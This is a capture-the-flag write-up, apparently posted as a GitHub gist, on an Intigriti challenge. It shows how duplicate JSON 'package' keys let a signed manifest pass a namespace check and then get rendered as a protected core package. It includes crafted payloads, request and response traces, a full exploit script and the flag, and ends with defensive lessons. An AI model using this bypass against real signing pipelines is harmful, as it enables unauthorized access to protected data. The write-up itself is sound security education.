Skip to content

Instantly share code, notes, and snippets.

@fjordsec
Created July 27, 2026 13:59
Show Gist options
  • Select an option

  • Save fjordsec/a350f7300523e8d9971fa3ed3b0f4f1e to your computer and use it in GitHub Desktop.

Select an option

Save fjordsec/a350f7300523e8d9971fa3ed3b0f4f1e to your computer and use it in GitHub Desktop.

Canonically Yours: How I Signed a Legacy Manifest and Stole the Core Registry Secrets With Duplicate JSON Keys

Challenge: Intigriti July 2026 ("Canonically Yours")

Challenge author: Intigriti

Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}


The Target

An enterprise package registry simulator called "Canonically Yours | Registry Observatory" with a classic security prompt:

"Registry Observatory generates signed compatibility reports for software packages. A protected report contains the flag." "Explore the application, understand its trust boundaries, and retrieve that report without modifying registry data or attacking the underlying infrastructure."

No infrastructure exploits, no brute force, just pure application logic and trust boundary breakdown. Let's dig in.


tl;dr; The Chain

Observatory Intelligence → Duplicate JSON Keys → Signature Bypass → Parser Differential → Flag Exfiltration

Each layer breaks the security assumptions:

  • Scope Restriction: /api/manifests/sign requires package.scope === user.namespace.
  • Parser Differential: The signing service checks the first "package" key in JSON, while the publication renderer uses the last "package" key.
  • Cryptographic Approval: The signature locks sha256(manifest_b64). Because the signed Base64 payload itself contains duplicate keys, the signature remains 100% valid when presented to /api/publications.
  • Protected Report Leak: /api/publications processes the secondary key @core/security-notes and outputs the secret release notes containing INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}.

Step 1: Recon & The Observatory Archive

Upon registering a handle (e.g. @testuser-12345), the platform assigns a private namespace. Looking at the Observatory Archive tab reveals transfer notices and historical ledgers:

Record Component Scope / Note Baseline Version
CR-17 security-notes Platform-maintained scope: core 1.0.0
CR-23 compat-bridge Maintenance record 2.4.0
CR-08 legacy-parser Archived transfer record 0.9.0

Notice CR-17: Component security-notes lives inside the restricted core scope (@core/security-notes).

In addition, our default workspace has three packages:

  1. hello-world (1.0.0)
  2. compat-sample (2.1.0)
  3. legacy-adapter (0.9.0)

Checking the preflight report of legacy-adapter returned a subtle hint in release_notes:

"Historical ingestion retains the initial package declaration; report rendering uses reconstructed manifest data."

"Report rendering uses reconstructed manifest data."
Keep that phrase in mind.


Step 2: The Two-Tier Approval Pipeline

To view a package preflight report, the application uses a two-phase signed protocol:

  1. Sign Manifest (POST /api/manifests/sign): We submit { manifest_b64: Base64(JSON) }. The server validates the JSON schema and ensures package.scope matches user.namespace. If valid, it returns a cryptographically signed approval object:

    {
      "approval_id": "f0148f3b-74e7-4c45-a981-02f3943c4c79",
      "manifest_sha256": "4bb8bfbd8e2ff663ba30b9998f6379ebe6eb755dc5c67680ffedd17ce22af6c1",
      "nonce": "ZJLCqKL5m...",
      "expires_at": 1785159868,
      "signature": "QMxaO6Eh1mw..."
    }
  2. Generate Publication Report (POST /api/publications): We send manifest_b64 alongside the signature tuple (approval_id, manifest_sha256, nonce, expires_at, signature). The server verifies:

    • sha256(atob(manifest_b64)) === manifest_sha256
    • signature matches manifest_sha256 and approval metadata.
    • It then reconstructs the manifest object to generate the report.

If we try to sign a manifest directly targeting scope: "core":

{
  "package": {
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  },
  "metadata": { "description": "test", "visibility": "private" },
  "operation": "preflight"
}

The server immediately rejects it:

HTTP/1.1 400 Bad Request
{ "error": "Manifest could not be approved." }

The signing service strictly guards the core scope.


Step 3: Finding the Parser Differential (Duplicate Key Collision)

How does the backend process JSON when duplicate keys are present?

Standard ECMAScript JSON.parse resolves duplicate keys by keeping the last key-value pair (JSON.parse('{"a":1,"a":2}') yields {a: 2}). However, different JSON parsers, AST builders, schema validators, or custom canonicalization steps behave differently:

  • Some parsers evaluate key collisions from left to right (keeping the first key).
  • Others evaluate right to left (keeping the last key).

Let's test putting two "package" keys inside a single manifest JSON string:

{
  "package": {
    "scope": "testuser-12345",
    "name": "hello-world",
    "version": "1.0.0"
  },
  "package": {
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  },
  "metadata": {
    "description": "test",
    "visibility": "private"
  },
  "operation": "preflight"
}

We Base64 encode this exact string and send it to POST /api/manifests/sign:

POST /api/manifests/sign HTTP/1.1
Content-Type: application/json
X-CSRF-Token: <token>

{
  "manifest_b64": "eyJwYWNrYWdlIjp7InNjb3BlIjoidGVzdHVzZXItMTIzNDUiLCJuYW1lIjoiaGVsbG8td29ybGQiLCJ2ZXJzaW9uIjoiMS4wLjAifSwicGFja2FnZSI6eyJzY29wZSI6ImNvcmUiLCJuYW1lIjoic2VjdXJpdHktbm90ZXMiLCJ2ZXJzaW9uIjoiMS4wLjAifSwibWV0YWRhdGEiOnsiZGVzY3JpcHRpb24iOiJ0ZXN0IiwidmlzaWJpbGl0eSI6InByaXZhdGUifSwib3BlcmF0aW9uIjoicHJlZmxpZ2h0In0="
}

Response:

HTTP/1.1 201 Created

{
  "approval_id": "022c3322-d9a0-49bc-b160-6b962759386c",
  "manifest_sha256": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
  "nonce": "J0sZIcKtvnzg_bjxcCfOfGyWPJYMNu4gwGHHolFf2Mw",
  "expires_at": 1785159973,
  "signature": "H78lYhRnkanBsllTr/HBt4wKPxZqVOOVuMPBcv30dylGxJY0CG1vERK7Go4YPBZpStpqzvt+e2m0WYmudwdbCw=="
}

It was APPROVED!

Why?

  • /api/manifests/sign parsed the first "package" object (scope === "testuser-12345"). Because "testuser-12345" matches our authorized namespace, the policy check passed!
  • The signing service hashed the exact byte sequence of manifest_b64 (manifest_sha256 = 090ebe37...) and generated a valid RSA/ECDSA signature over it.

Step 4: The Heist (Publication Re-parsing)

Now we send manifest_b64 and the fresh signature to POST /api/publications:

POST /api/publications HTTP/1.1
Content-Type: application/json
X-CSRF-Token: <token>

{
  "manifest_b64": "eyJwYWNrYWdlIjp7InNjb3BlIjoidGVzdHVzZXItMTIzNDUiLCJuYW1lIjoiaGVsbG8td29ybGQiLCJ2ZXJzaW9uIjoiMS4wLjAifSwicGFja2FnZSI6eyJzY29wZSI6ImNvcmUiLCJuYW1lIjoic2VjdXJpdHktbm90ZXMiLCJ2ZXJzaW9uIjoiMS4wLjAifSwibWV0YWRhdGEiOnsiZGVzY3JpcHRpb24iOiJ0ZXN0IiwidmlzaWJpbGl0eSI6InByaXZhdGUifSwib3BlcmF0aW9uIjoicHJlZmxpZ2h0In0=",
  "approval_id": "022c3322-d9a0-49bc-b160-6b962759386c",
  "manifest_sha256": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
  "nonce": "J0sZIcKtvnzg_bjxcCfOfGyWPJYMNu4gwGHHolFf2Mw",
  "expires_at": 1785159973,
  "signature": "H78lYhRnkanBsllTr/HBt4wKPxZqVOOVuMPBcv30dylGxJY0CG1vERK7Go4YPBZpStpqzvt+e2m0WYmudwdbCw=="
}

Server Response:

HTTP/1.1 200 OK
{
  "publication_id": "a63d1acd-3539-4881-88b6-342dcd8f9d20",
  "status": "ready"
}

Fetching GET /api/publications/a63d1acd-3539-4881-88b6-342dcd8f9d20:

HTTP/1.1 200 OK

{
  "publication_id": "a63d1acd-3539-4881-88b6-342dcd8f9d20",
  "target": "@core/security-notes",
  "version": "1.0.0",
  "status": "ready",
  "report": {
    "digest": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
    "target": "@core/security-notes",
    "compatibility": "Read-only preflight completed.",
    "release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
    "latest_version": "1.0.0",
    "package_exists": true
  },
  "created_at": "2026-07-27T13:41:17.638Z"
}

Boom! The publication endpoint parsed the second "package" object (scope === "core", name === "security-notes"), queried @core/security-notes from the database, and rendered the protected release notes containing the flag!


The Full HTTP Opera (All 4 Acts)

ACT I -- The Recon
  Client → Server: GET /api/observatory/advisories
  Server → Client: 200 OK (Discovers @core/security-notes v1.0.0 record CR-17)

ACT II -- The Craft & Sign
  Client → /api/manifests/sign: POST {"manifest_b64": Base64(Duplicate Key JSON)}
  Server Signer: Inspects Key 1 -> scope === "@user-namespace" (ALLOWED!)
  Server Signer → Client: 201 Created + Signature over sha256(manifest_b64)

ACT III -- The Publication
  Client → /api/publications: POST {"manifest_b64": ..., "signature": ...}
  Server Verifier: Validates signature over manifest_sha256 (VALID!)
  Server Renderer: Inspects Key 2 -> scope === "core", name === "security-notes"

ACT IV -- The Flag
  Client → /api/publications/<id>: GET
  Server → Client: 200 OK + {"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}"}

Complete Exploit Script

(async () => {
  // 1. Get user context and CSRF token
  const me = await (await fetch('/api/me')).json();
  const ns = me.user.namespace;
  
  // 2. Craft manifest JSON with duplicate "package" keys
  const rawJson = JSON.stringify({
    package: {
      scope: ns,
      name: "hello-world",
      version: "1.0.0"
    }
  }).replace(/}$/, `,"package":{"scope":"core","name":"security-notes","version":"1.0.0"},"metadata":{"description":"test","visibility":"private"},"operation":"preflight"}`);
  
  const b64 = btoa(rawJson);
  
  // 3. Request signed approval from /api/manifests/sign
  const signRes = await (await fetch('/api/manifests/sign', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'x-csrf-token': me.csrf_token
    },
    body: JSON.stringify({ manifest_b64: b64 })
  })).json();
  
  console.log('[+] Approval issued:', signRes.approval_id);
  
  // 4. Submit publication using signed approval
  const pubRes = await (await fetch('/api/publications', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'x-csrf-token': me.csrf_token
    },
    body: JSON.stringify({
      manifest_b64: b64,
      approval_id: signRes.approval_id,
      manifest_sha256: signRes.manifest_sha256,
      nonce: signRes.nonce,
      expires_at: signRes.expires_at,
      signature: signRes.signature
    })
  })).json();
  
  // 5. Retrieve preflight report containing the flag
  const reportRes = await (await fetch(`/api/publications/${pubRes.publication_id}`)).json();
  console.log('[!] FLAG:', reportRes.report.release_notes);
})();

Lessons Learned (For Real Though)

  1. Reject Duplicate JSON Keys at the Ingestion Layer. Standard RFC 8259 specifies that object member names SHOULD be unique. When microservices or internal modules use different JSON parsers, duplicate keys lead to severe parser differentials.
  2. Canonicalize Prior to Hashing & Verification. Cryptographic signatures over un-canonicalized raw strings lock in any structural ambiguities present in the raw string. Always canonicalize JSON (e.g. RFC 8785 / JCS) before performing policy checks and signing.
  3. Use Unified Parsing Pipelines. Ensure that policy enforcement components (signers) and downstream consumers (renderers/execution engines) rely on the exact same parser configuration.
  4. Enforce Strict Schema Validation. Schema validators should reject duplicate object keys or unexpected structural variations rather than silently dropping or picking keys arbitrarily.

Final Thoughts

The challenge titled "Canonically Yours" was a fantastic demonstration of JSON parser differentials in cryptographically signed workflows. Signing raw JSON binaries without canonicalization is like signing a check written in pencil — anyone down the pipeline can erase or re-read the duplicate entries to mean whatever they want.

Thanks to Intigriti for creating the challenge!


P.S. If your authorization service and rendering engine don't agree on which JSON key came first... the attacker always gets the last word.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment